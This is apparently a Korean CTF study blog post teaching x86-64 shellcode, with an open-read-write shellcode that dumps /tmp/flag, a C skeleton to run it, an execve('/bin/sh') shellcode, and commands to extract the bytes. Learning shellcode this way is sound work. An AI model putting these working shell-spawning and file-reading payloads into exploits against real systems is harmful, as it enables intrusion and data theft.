파일 읽고 쓰기 orw 셸 코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
/tmp/flag 파일을 읽고 쓰는 c언어 코드
우선 /tmp/flag 라는 문자열을 메모리에 넣어야 한다.
0x616c662f706d742f67를 push 해야 하는데 8바이트 단위로 push할 수 있기 때문에
0x67을 먼저 push하고, 0x616c662f706d742f를 push 한다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall
이렇게 하면 rax가 2인 syscall이 실행되어서 open 함수를 통해 파일을 열 수 있다.
syscall의 반환값은 rax에 저장된다.
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
rdi를 이동시키고, rsi를 이동시켜서 파일에서 읽은 데이터를 저장할 주소를 만든다.
그리고 0x30만큼 읽도록 설정해주고 syscall을 실행하면 된다.
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
마지막으로 write도 이렇게 syscall을 이용해 실행할 수 있다.
셸코드를 실행시키기 위해서는 어셈블리 코드를 실행할 수 있어야 하는데 c언어를 이용한 스켈레톤 코드를 이용할 수 있다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
여기에 아까 짰던 셸코드를 적용해서
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이렇게 만들 수 있다.
셸 획득 execve 셸 코드
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
컴파일은 orw 셸 코드와 동일하게 하면 된다.
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
objdump를 이용하면 셸 코드를 바이트 코드로 변환시킬 수 있다.
'포너블' 카테고리의 다른 글
드림핵 basic_exploitation_001 롸업 (1) | 2024.03.06 |
---|---|
드림핵 basic_exploitation_000 롸업 (0) | 2024.03.04 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |
드림핵 shell_basic 롸업 (0) | 2024.02.02 |
범용 레지스터 & gdb(pwndbg) & pwntools (1) | 2024.01.23 |